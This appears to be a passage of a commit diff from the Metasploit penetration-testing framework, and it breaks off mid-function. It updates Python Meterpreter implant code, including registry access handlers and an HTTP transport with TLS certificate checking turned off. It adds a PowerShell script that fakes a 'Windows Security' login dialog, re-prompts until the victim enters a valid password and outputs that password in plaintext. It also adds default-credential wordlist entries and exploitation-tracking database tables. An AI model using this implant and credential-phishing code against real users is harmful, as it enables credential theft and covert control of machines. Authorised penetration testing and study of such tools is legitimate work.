def _query_value(request, response, hkey):
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
value_type = ctypes.c_uint32()
|
||||
|
@ -1496,8 +1535,20 @@ def stdapi_registry_query_value(request, response):
|
|||
return error_result_windows(), response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value(request, response):
|
||||
def stdapi_registry_query_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _query_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _query_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
def _set_value(request, response, hkey):
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
|
||||
|
@ -1505,6 +1556,20 @@ def stdapi_registry_set_value(request, response):
|
|||
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _set_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _set_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_unload_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
|
|
Binary file not shown.
|
@ -41,6 +41,7 @@ if sys.version_info[0] < 3:
|
|||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
|
||||
else:
|
||||
if isinstance(__builtins__, dict):
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||
|
@ -51,6 +52,7 @@ else:
|
|||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
long = int
|
||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
|
||||
|
||||
#
|
||||
# Constants
|
||||
|
@ -262,7 +264,9 @@ def tlv_pack(*args):
|
|||
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
||||
else:
|
||||
value = tlv['value']
|
||||
if not is_bytes(value):
|
||||
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
|
||||
value = value.encode('UTF-8')
|
||||
elif not is_bytes(value):
|
||||
value = bytes(value, 'UTF-8')
|
||||
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
|
||||
|
@ -389,11 +393,17 @@ class PythonMeterpreter(object):
|
|||
print(msg)
|
||||
|
||||
def driver_init_http(self):
|
||||
opener_args = []
|
||||
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
|
||||
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
|
||||
import ssl
|
||||
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
|
||||
ssl_ctx.check_hostname=False
|
||||
ssl_ctx.verify_mode=ssl.CERT_NONE
|
||||
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
|
||||
if HTTP_PROXY:
|
||||
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
|
||||
opener = urllib.build_opener(proxy_handler)
|
||||
else:
|
||||
opener = urllib.build_opener()
|
||||
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
|
||||
opener = urllib.build_opener(*opener_args)
|
||||
if HTTP_USER_AGENT:
|
||||
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
||||
urllib.install_opener(opener)
|
||||
|
|
Binary file not shown.
|
@ -0,0 +1,22 @@
|
|||
function Invoke-LoginPrompt{
|
||||
$cred = $Host.ui.PromptForCredential("Windows Security", "R{DESCRIPTION}", "$env:userdomain\$env:username","")
|
||||
$username = "$env:username"
|
||||
$domain = "$env:userdomain"
|
||||
$full = "$domain" + "\" + "$username"
|
||||
$password = $cred.GetNetworkCredential().password
|
||||
Add-Type -assemblyname System.DirectoryServices.AccountManagement
|
||||
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
|
||||
while($DS.ValidateCredentials("$full","$password") -ne $True){
|
||||
$cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
|
||||
$username = "$env:username"
|
||||
$domain = "$env:userdomain"
|
||||
$full = "$domain" + "\" + "$username"
|
||||
$password = $cred.GetNetworkCredential().password
|
||||
Add-Type -assemblyname System.DirectoryServices.AccountManagement
|
||||
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
|
||||
$DS.ValidateCredentials("$full", "$password") | out-null
|
||||
}
|
||||
$output = $newcred = $cred.GetNetworkCredential() | select-object UserName, Domain, Password
|
||||
$output
|
||||
R{START_PROCESS}
|
||||
}
|
|
@ -5,3 +5,4 @@ root owaspbwa
|
|||
ADMIN ADMIN
|
||||
xampp xampp
|
||||
tomcat s3cret
|
||||
QCC QLogic66
|
||||
|
|
|
@ -1002,3 +1002,4 @@ sq!us3r
|
|||
adminpasswd
|
||||
raspberry
|
||||
74k&^*nh#$
|
||||
arcsight
|
90
db/schema.rb
90
db/schema.rb
|
@ -11,7 +11,7 @@
|
|||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20150112203945) do
|
||||
ActiveRecord::Schema.define(:version => 20150326183742) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
|
@ -19,6 +19,54 @@ ActiveRecord::Schema.define(:version => 20150112203945) do
|
|||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "automatic_exploitation_match_results", :force => true do |t|
|
||||
t.integer "match_id"
|
||||
t.integer "run_id"
|
||||
t.string "state", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "automatic_exploitation_match_results", ["match_id"], :name => "index_automatic_exploitation_match_results_on_match_id"
|
||||
add_index "automatic_exploitation_match_results", ["run_id"], :name => "index_automatic_exploitation_match_results_on_run_id"
|
||||
|
||||
create_table "automatic_exploitation_match_sets", :force => true do |t|
|
||||
t.integer "workspace_id"
|
||||
t.integer "user_id"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "automatic_exploitation_match_sets", ["user_id"], :name => "index_automatic_exploitation_match_sets_on_user_id"
|
||||
add_index "automatic_exploitation_match_sets", ["workspace_id"], :name => "index_automatic_exploitation_match_sets_on_workspace_id"
|
||||
|
||||
create_table "automatic_exploitation_matches", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.string "state"
|
||||
t.integer "nexpose_data_vulnerability_definition_id"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.integer "match_set_id"
|
||||
t.string "matchable_type"
|
||||
t.integer "matchable_id"
|
||||
t.text "module_fullname"
|
||||
end
|
||||
|
||||
add_index "automatic_exploitation_matches", ["module_detail_id"], :name => "index_automatic_exploitation_matches_on_ref_id"
|
||||
add_index "automatic_exploitation_matches", ["module_fullname"], :name => "index_automatic_exploitation_matches_on_module_fullname"
|
||||
|
||||
create_table "automatic_exploitation_runs", :force => true do |t|
|
||||
t.integer "workspace_id"
|
||||
t.integer "user_id"
|
||||
t.integer "match_set_id"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "automatic_exploitation_runs", ["match_set_id"], :name => "index_automatic_exploitation_runs_on_match_set_id"
|
||||
add_index "automatic_exploitation_runs", ["user_id"], :name => "index_automatic_exploitation_runs_on_user_id"
|
||||
add_index "automatic_exploitation_runs", ["workspace_id"], :name => "index_automatic_exploitation_runs_on_workspace_id"
|
||||
|
||||
create_table "clients", :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.datetime "created_at"
|
||||
|
@ -155,19 +203,22 @@ ActiveRecord::Schema.define(:version => 20150112203945) do
|
|||
end
|
||||
|
||||
create_table "loots", :force => true do |t|
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.integer "host_id"
|
||||
t.integer "service_id"
|
||||
t.string "ltype", :limit => 512
|
||||
t.string "path", :limit => 1024
|
||||
t.string "ltype", :limit => 512
|
||||
t.string "path", :limit => 1024
|
||||
t.text "data"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.string "content_type"
|
||||
t.text "name"
|
||||
t.text "info"
|
||||
t.integer "module_run_id"
|
||||
end
|
||||
|
||||
add_index "loots", ["module_run_id"], :name => "index_loots_on_module_run_id"
|
||||
|
||||
create_table "macros", :force => true do |t|
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
|
@ -359,6 +410,26 @@ ActiveRecord::Schema.define(:version => 20150112203945) do
|
|||
add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id"
|
||||
add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
|
||||
|
||||
create_table "module_runs", :force => true do |t|
|
||||
t.datetime "attempted_at"
|
||||
t.text "fail_detail"
|
||||
t.string "fail_reason"
|
||||
t.text "module_fullname"
|
||||
t.integer "port"
|
||||
t.string "proto"
|
||||
t.integer "session_id"
|
||||
t.string "status"
|
||||
t.integer "trackable_id"
|
||||
t.string "trackable_type"
|
||||
t.integer "user_id"
|
||||
t.string "username"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "module_runs", ["session_id"], :name => "index_module_runs_on_session_id"
|
||||
add_index "module_runs", ["user_id"], :name => "index_module_runs_on_user_id"
|
||||
|
||||
create_table "module_targets", :force => true do |t|
|
||||
t.integer "detail_id"
|
||||
t.integer "index"
|
||||
|
@ -393,9 +464,11 @@ ActiveRecord::Schema.define(:version => 20150112203945) do
|
|||
t.boolean "critical"
|
||||
t.boolean "seen"
|
||||
t.text "data"
|
||||
t.integer "vuln_id"
|
||||
end
|
||||
|
||||
add_index "notes", ["ntype"], :name => "index_notes_on_ntype"
|
||||
add_index "notes", ["vuln_id"], :name => "index_notes_on_vuln_id"
|
||||
|
||||
create_table "profiles", :force => true do |t|
|
||||
t.datetime "created_at", :null => false
|
||||
|
@ -479,13 +552,16 @@ ActiveRecord::Schema.define(:version => 20150112203945) do
|
|||
t.integer "port"
|
||||
t.string "platform"
|
||||
t.text "datastore"
|
||||
t.datetime "opened_at", :null => false
|
||||
t.datetime "opened_at", :null => false
|
||||
t.datetime "closed_at"
|
||||
t.string "close_reason"
|
||||
t.integer "local_id"
|
||||
t.datetime "last_seen"
|
||||
t.integer "module_run_id"
|
||||
end
|
||||
|
||||
add_index "sessions", ["module_run_id"], :name => "index_sessions_on_module_run_id"
|
||||
|
||||
create_table "tags", :force => true do |t|
|
||||
t.integer "user_id"
|
||||
t.string "name", :limit => 1024
|
||||
|
|
|
@ -1,525 +0,0 @@
|
|||
#include "Lorcon.h"
|
||||
#include "ruby.h"
|
||||
|
||||
/*
|
||||
self.license = GPLv2;
|
||||
*/
|
||||
|
||||
/*
|
||||
This is a derivative of the tx.c sample included with lorcon:
|
||||
http://802.11ninja.net/lorcon/
|
||||
|
||||
lorcon is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
lorcon is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with lorcon; if not, write to the Free Software
|
||||
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
|
||||
Copyright (c) 2005 dragorn and Joshua Wright
|
||||
|
||||
*/
|
||||
|
||||
/*
|
||||
Lots of code borrowed from Tom Wambold's pylorcon:
|
||||
http://pylorcon.googlecode.com/ - tom5760[at]gmail.com
|
||||
*/
|
||||
|
||||
/*
|
||||
All ruby-lorcon/rubyisms are by Rapid7, Inc (C) 2006-2007
|
||||
http://metasploit.com/ - msfdev[at]metasploit.com
|
||||
*/
|
||||
|
||||
VALUE mLorcon;
|
||||
VALUE cDevice;
|
||||
|
||||
VALUE lorcon_get_version(VALUE self) {
|
||||
return INT2NUM(tx80211_getversion());
|
||||
}
|
||||
|
||||
VALUE lorcon_cap_to_list(int cap) {
|
||||
VALUE list;
|
||||
list = rb_ary_new();
|
||||
|
||||
if ((cap & TX80211_CAP_SNIFF) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SNIFF"));
|
||||
|
||||
if ((cap & TX80211_CAP_TRANSMIT) != 0)
|
||||
rb_ary_push(list, rb_str_new2("TRANSMIT"));
|
||||
|
||||
if ((cap & TX80211_CAP_SEQ) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SEQ"));
|
||||
|
||||
if ((cap & TX80211_CAP_BSSTIME) != 0)
|
||||
rb_ary_push(list, rb_str_new2("BSSTIME"));
|
||||
|
||||
if ((cap & TX80211_CAP_FRAG) != 0)
|
||||
rb_ary_push(list, rb_str_new2("FRAG"));
|
||||
|
||||
if ((cap & TX80211_CAP_CTRL) != 0)
|
||||
rb_ary_push(list, rb_str_new2("CTRL"));
|
||||
|
||||
if ((cap & TX80211_CAP_DURID) != 0)
|
||||
rb_ary_push(list, rb_str_new2("DURID"));
|
||||
|
||||
if ((cap & TX80211_CAP_SNIFFACK) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SNIFFACK"));
|
||||
|
||||
if ((cap & TX80211_CAP_SELFACK) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SELFACK"));
|
||||
|
||||
if ((cap & TX80211_CAP_TXNOWAIT) != 0)
|
||||
rb_ary_push(list, rb_str_new2("TXNOWAIT"));
|
||||
|
||||
if ((cap & TX80211_CAP_DSSSTX) != 0)
|
||||
rb_ary_push(list, rb_str_new2("DSSSTX"));
|
||||
|
||||
if ((cap & TX80211_CAP_OFDMTX) != 0)
|
||||
rb_ary_push(list, rb_str_new2("OFDMTX"));
|
||||
|
||||
if ((cap & TX80211_CAP_MIMOTX) != 0)
|
||||
rb_ary_push(list, rb_str_new2("MIMOTX"));
|
||||
|
||||
if ((cap & TX80211_CAP_SETRATE) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SETRATE"));
|
||||
|
||||
if ((cap & TX80211_CAP_SETMODULATION) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SETMODULATION"));
|
||||
|
||||
if ((cap & TX80211_CAP_NONE) != 0)
|
||||
rb_ary_push(list, rb_str_new2("NONE"));
|
||||
|
||||
return list;
|
||||
}
|
||||
|
||||
|
||||
static VALUE lorcon_driver_list(VALUE self) {
|
||||
VALUE list;
|
||||
VALUE hash;
|
||||
|
||||
struct tx80211_cardlist *cards = NULL;
|
||||
int i;
|
||||
|
||||
list = rb_hash_new();
|
||||
cards = tx80211_getcardlist();
|
||||
if (cards == NULL) {
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
for (i = 1; i < cards->num_cards; i++) {
|
||||
hash = rb_hash_new();
|
||||
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(cards->cardnames[i]));
|
||||
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(cards->descriptions[i]));
|
||||
rb_hash_aset(hash, rb_str_new2("capabilities"), lorcon_cap_to_list(cards->capabilities[i]));
|
||||
rb_hash_aset(list, rb_str_new2(cards->cardnames[i]), hash);
|
||||
}
|
||||
|
||||
tx80211_freecardlist(cards);
|
||||
return(list);
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_get_channel(VALUE self) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
return INT2NUM(tx80211_getchannel(&rld->in_tx));
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_set_channel(VALUE self, VALUE channel) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
tx80211_setchannel(&rld->in_tx, NUM2INT(channel));
|
||||
return INT2NUM(tx80211_getchannel(&rld->in_tx));
|
||||
}
|
||||
|
||||
void lorcon_device_free(struct rldev *rld) {
|
||||
if (tx80211_getmode(&rld->in_tx) >= 0) {
|
||||
tx80211_close(&rld->in_tx);
|
||||
}
|
||||
free(&rld->in_tx);
|
||||
}
|
||||
|
||||
|
||||
static VALUE lorcon_device_get_mode(VALUE self) {
|
||||
struct rldev *rld;
|
||||
int mode;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
|
||||
mode = tx80211_getmode(&rld->in_tx);
|
||||
if (mode < 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon could not determine the mode of this device: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
switch (mode) {
|
||||
case TX80211_MODE_AUTO:
|
||||
return rb_str_new2("AUTO");
|
||||
break;
|
||||
case TX80211_MODE_ADHOC:
|
||||
return rb_str_new2("ADHOC");
|
||||
break;
|
||||
case TX80211_MODE_INFRA:
|
||||
return rb_str_new2("INFRA");
|
||||
break;
|
||||
case TX80211_MODE_MASTER:
|
||||
return rb_str_new2("MASTER");
|
||||
break;
|
||||
case TX80211_MODE_REPEAT:
|
||||
return rb_str_new2("REPEAT");
|
||||
break;
|
||||
case TX80211_MODE_SECOND:
|
||||
return rb_str_new2("SECOND");
|
||||
break;
|
||||
case TX80211_MODE_MONITOR:
|
||||
return rb_str_new2("MONITOR");
|
||||
break;
|
||||
default:
|
||||
return Qnil;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_set_mode(VALUE self, VALUE rmode) {
|
||||
struct rldev *rld;
|
||||
char *setmode = StringValuePtr(rmode);
|
||||
int mode = -1;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (strcmp(setmode, "AUTO") == 0) {
|
||||
mode = TX80211_MODE_AUTO;
|
||||
} else if (strcmp(setmode, "ADHOC") == 0) {
|
||||
mode = TX80211_MODE_ADHOC;
|
||||
} else if (strcmp(setmode, "INFRA") == 0) {
|
||||
mode = TX80211_MODE_INFRA;
|
||||
} else if (strcmp(setmode, "MASTER") == 0) {
|
||||
mode = TX80211_MODE_MASTER;
|
||||
} else if (strcmp(setmode, "REPEAT") == 0) {
|
||||
mode = TX80211_MODE_REPEAT;
|
||||
} else if (strcmp(setmode, "SECOND") == 0) {
|
||||
mode = TX80211_MODE_SECOND;
|
||||
} else if (strcmp(setmode, "MONITOR") == 0) {
|
||||
mode = TX80211_MODE_MONITOR;
|
||||
} else {
|
||||
rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
return INT2NUM(tx80211_setmode(&rld->in_tx, mode));
|
||||
}
|
||||
|
||||
|
||||
static VALUE lorcon_device_set_functional_mode(VALUE self, VALUE rmode) {
|
||||
struct rldev *rld;
|
||||
char *funcmode = StringValuePtr(rmode);
|
||||
int mode = -1;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (strcmp(funcmode, "RFMON") == 0) {
|
||||
mode = TX80211_FUNCMODE_RFMON;
|
||||
} else if (strcmp(funcmode, "INJECT") == 0) {
|
||||
mode = TX80211_FUNCMODE_INJECT;
|
||||
} else if (strcmp(funcmode, "INJMON") == 0) {
|
||||
mode = TX80211_FUNCMODE_INJMON;
|
||||
} else {
|
||||
rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
if (tx80211_setfunctionalmode(&rld->in_tx, mode) != 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon could not set the functional mode: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
return Qtrue;
|
||||
}
|
||||
|
||||
|
||||
static VALUE lorcon_device_get_txrate(VALUE self) {
|
||||
struct rldev *rld;
|
||||
int txrate;
|
||||
|
||||
txrate = tx80211_gettxrate(&rld->in_packet);
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
switch (txrate) {
|
||||
case TX80211_RATE_DEFAULT:
|
||||
return UINT2NUM(0);
|
||||
break;
|
||||
case TX80211_RATE_1MB:
|
||||
return UINT2NUM(1);
|
||||
break;
|
||||
case TX80211_RATE_2MB:
|
||||
return UINT2NUM(2);
|
||||
break;
|
||||
case TX80211_RATE_5_5MB:
|
||||
return UINT2NUM(5);
|
||||
break;
|
||||
case TX80211_RATE_6MB:
|
||||
return UINT2NUM(6);
|
||||
break;
|
||||
case TX80211_RATE_9MB:
|
||||
return UINT2NUM(9);
|
||||
break;
|
||||
case TX80211_RATE_11MB:
|
||||
return UINT2NUM(11);
|
||||
break;
|
||||
case TX80211_RATE_24MB:
|
||||
return UINT2NUM(24);
|
||||
break;
|
||||
case TX80211_RATE_36MB:
|
||||
return UINT2NUM(36);
|
||||
break;
|
||||
case TX80211_RATE_48MB:
|
||||
return UINT2NUM(48);
|
||||
break;
|
||||
case TX80211_RATE_108MB:
|
||||
return UINT2NUM(108);
|
||||
break;
|
||||
default:
|
||||
rb_raise(rb_eArgError, "Lorcon could not determine the tx rate: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
|
||||
static VALUE lorcon_device_set_txrate(VALUE self, VALUE rrate) {
|
||||
struct rldev *rld;
|
||||
float settxrate = -1;
|
||||
int txrate = -1;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
|
||||
if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETRATE) == 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon does not support setting the tx rate for this card");
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
settxrate = NUM2DBL(rrate);
|
||||
|
||||
if (settxrate == -1) {
|
||||
txrate = TX80211_RATE_DEFAULT;
|
||||
} else if (settxrate == 1) {
|
||||
txrate = TX80211_RATE_1MB;
|
||||
} else if (settxrate == 2) {
|
||||
txrate = TX80211_RATE_2MB;
|
||||
} else if (settxrate == 5.5) {
|
||||
txrate = TX80211_RATE_5_5MB;
|
||||
} else if (settxrate == 6) {
|
||||
txrate = TX80211_RATE_6MB;
|
||||
} else if (settxrate == 9) {
|
||||
txrate = TX80211_RATE_9MB;
|
||||
} else if (settxrate == 11) {
|
||||
txrate = TX80211_RATE_11MB;
|
||||
} else if (settxrate == 24) {
|
||||
txrate = TX80211_RATE_24MB;
|
||||
} else if (settxrate == 36) {
|
||||
txrate = TX80211_RATE_36MB;
|
||||
} else if (settxrate == 48) {
|
||||
txrate = TX80211_RATE_48MB;
|
||||
} else if (settxrate == 108) {
|
||||
txrate = TX80211_RATE_108MB;
|
||||
} else {
|
||||
rb_raise(rb_eArgError, "Lorcon does not support this rate setting");
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
if (tx80211_settxrate(&rld->in_tx, &rld->in_packet, txrate) < 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon could not set the tx rate: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
return INT2NUM(txrate);
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_get_modulation(VALUE self) {
|
||||
struct rldev *rld;
|
||||
int mod;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
mod = tx80211_getmodulation(&rld->in_packet);
|
||||
switch (mod) {
|
||||
case TX80211_MOD_DEFAULT:
|
||||
return rb_str_new2("DEFAULT");
|
||||
break;
|
||||
case TX80211_MOD_FHSS:
|
||||
return rb_str_new2("FHSS");
|
||||
break;
|
||||
case TX80211_MOD_DSSS:
|
||||
return rb_str_new2("DSSS");
|
||||
break;
|
||||
case TX80211_MOD_OFDM:
|
||||
return rb_str_new2("OFDM");
|
||||
break;
|
||||
case TX80211_MOD_TURBO:
|
||||
return rb_str_new2("TURBO");
|
||||
break;
|
||||
case TX80211_MOD_MIMO:
|
||||
return rb_str_new2("MIMO");
|
||||
break;
|
||||
case TX80211_MOD_MIMOGF:
|
||||
return rb_str_new2("MIMOGF");
|
||||
break;
|
||||
default:
|
||||
rb_raise(rb_eArgError, "Lorcon could not get the modulation value");
|
||||
return(Qnil);
|
||||
}
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_set_modulation(VALUE self, VALUE rmod) {
|
||||
struct rldev *rld;
|
||||
char *setmod = NULL;
|
||||
int mod;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETMODULATION) == 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon does not support setting the modulation for this card");
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
setmod = StringValuePtr(rmod);
|
||||
|
||||
if (strcmp(setmod, "DEFAULT") == 0) {
|
||||
mod = TX80211_MOD_DEFAULT;
|
||||
} else if (strcmp(setmod, "FHSS") == 0) {
|
||||
mod = TX80211_MOD_FHSS;
|
||||
} else if (strcmp(setmod, "DSSS") == 0) {
|
||||
mod = TX80211_MOD_DSSS;
|
||||
} else if (strcmp(setmod, "OFDM") == 0) {
|
||||
mod = TX80211_MOD_OFDM;
|
||||
} else if (strcmp(setmod, "TURBO") == 0) {
|
||||
mod = TX80211_MOD_TURBO;
|
||||
} else if (strcmp(setmod, "MIMO") == 0) {
|
||||
mod = TX80211_MOD_MIMO;
|
||||
} else if (strcmp(setmod, "MIMOGF") == 0) {
|
||||
mod = TX80211_MOD_MIMOGF;
|
||||
} else {
|
||||
rb_raise(rb_eArgError, "Lorcon does not support this modulation setting");
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
if (tx80211_setmodulation(&rld->in_tx, &rld->in_packet, mod) < 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon could not set the modulation: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
return INT2NUM(mod);
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_get_capabilities(VALUE self) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
return(lorcon_cap_to_list(tx80211_getcapabilities(&rld->in_tx)));
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_open(int argc, VALUE *argv, VALUE self) {
|
||||
struct rldev *rld;
|
||||
int ret = 0;
|
||||
int drivertype = INJ_NODRIVER;
|
||||
char *driver, *intf;
|
||||
VALUE rbdriver, rbintf;
|
||||
VALUE obj;
|
||||
|
||||
rb_scan_args(argc, argv, "2", &rbintf, &rbdriver);
|
||||
|
||||
driver = STR2CSTR(rbdriver);
|
||||
intf = STR2CSTR(rbintf);
|
||||
|
||||
obj = Data_Make_Struct(cDevice, struct rldev, 0, lorcon_device_free, rld);
|
||||
|
||||
drivertype = tx80211_resolvecard(driver);
|
||||
if (drivertype == INJ_NODRIVER) {
|
||||
rb_raise(rb_eArgError, "Lorcon did not recognize the specified driver");
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
if (tx80211_init(&rld->in_tx, intf, drivertype) < 0) {
|
||||
rb_raise(rb_eRuntimeError, "Lorcon could not initialize the interface: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
/* Open the interface to get a socket */
|
||||
ret = tx80211_open(&rld->in_tx);
|
||||
if (ret < 0) {
|
||||
rb_raise(rb_eRuntimeError, "Lorcon could not open the interface: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
rb_obj_call_init(obj, 0, 0);
|
||||
return(obj);
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_write(int argc, VALUE *argv, VALUE self) {
|
||||
struct rldev *rld;
|
||||
int ret = 0;
|
||||
int cnt = 0;
|
||||
int dly = 0;
|
||||
|
||||
VALUE rbbuff, rbcnt, rbdelay;
|
||||
|
||||
